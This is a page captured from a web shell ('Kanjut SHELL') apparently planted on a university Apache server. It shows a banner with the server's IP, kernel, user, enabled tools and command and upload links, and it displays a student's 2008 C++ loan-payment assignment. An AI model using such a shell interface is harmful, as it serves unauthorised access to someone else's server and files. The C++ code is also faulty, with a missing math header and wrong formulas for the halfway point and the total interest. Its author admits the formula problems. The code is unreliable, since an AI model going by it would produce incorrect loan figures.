Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.141.29.90
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jhoyler/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/jhoyler/assign1.cpp
//---------------------------------------------------------------------
//  Programming Assignment #1
//  
//  Written by Joe Oyler
//  September 10 2008
//
//  Purpose:  To compute the monthly payment of an installment loan
//            and the balance remaining after half of the installments
//	      have been made.  Also to compute the total amount of 
//	      interest paid over the life of the loan.
//---------------------------------------------------------------------

// Preprocessor Section

#include <iostream>
#include <iomanip>
using namespace std;

// Main Function

int main ()
{

// Variables and Constants

int
	n;		// number of monthly payments
float
	loanamt,	// loan amount
	i,		// annual interest rate as a decimal
	in,		// annual interest rate as a percentage
	k,		// half of the number of monthly payments
	monpay,		// monthly payment
	balhalf,	// balance halfway through
	total,		// total interest paid
	temp,		// to shorten the first formula
	tempa;		// to shorten the second formula

// Input Phase

cout << "Welcome to the Loan Analysis Program!" << endl;
cout << endl;
cout << "  Enter loan amount: ";
cin >> loanamt;
cout << endl;
cout << "  Enter annual interest rate (as a decimal): ";
cin >> i;
cout << endl;
cout << "  Enter number of monthly payments: ";
cin >> n;
cout << endl;
cout << endl;

// Processing Phase (Could not figure out the correct input of formulas, big problem with parentheses.)

in = i * 100;						// to make decimal annual interest rate into a percentage
temp = pow(1 + (i / 12) ,n);				// used to shorten the payment formula
monpay = (temp / (temp - 1)) * loanamt * (i / 12);	// payment formula
k = (i / 2);						// formula for k in the balance formula
tempa = pow(1 + (i / 12) ,k - n); 			// used to shorten balance formula
balhalf = ((1 -tempa) / (i / 12)) * monpay;		// balance formula
total = loanamt * (i / 1200);				// total interest paid formula

// Output Phase

cout << setprecision(2) << fixed;			// force fixed point format for floats

cout << "~~~~~~~~~~~~~~~~~~~ Loan Summary ~~~~~~~~~~~~~~~~~~" << endl;
cout << "\n Annual Interest Rate:		        % " << setw(9) << in;
cout << "\n Number of Monthly Payments:		   " << setw(8) << n << endl;
cout << "\n Loan Amount: 			        $ " << setw(8) << loanamt;
cout << "\n Monthly Payment:			$  " << setw(8) << monpay;
cout << "\n Balance halfway through:		$ " << setw(8) << balhalf;
cout << "\n Total Interest Paid:			$  " << setw(8) << total;
cout << endl;

return 0;
}

Stv3n404 - 2023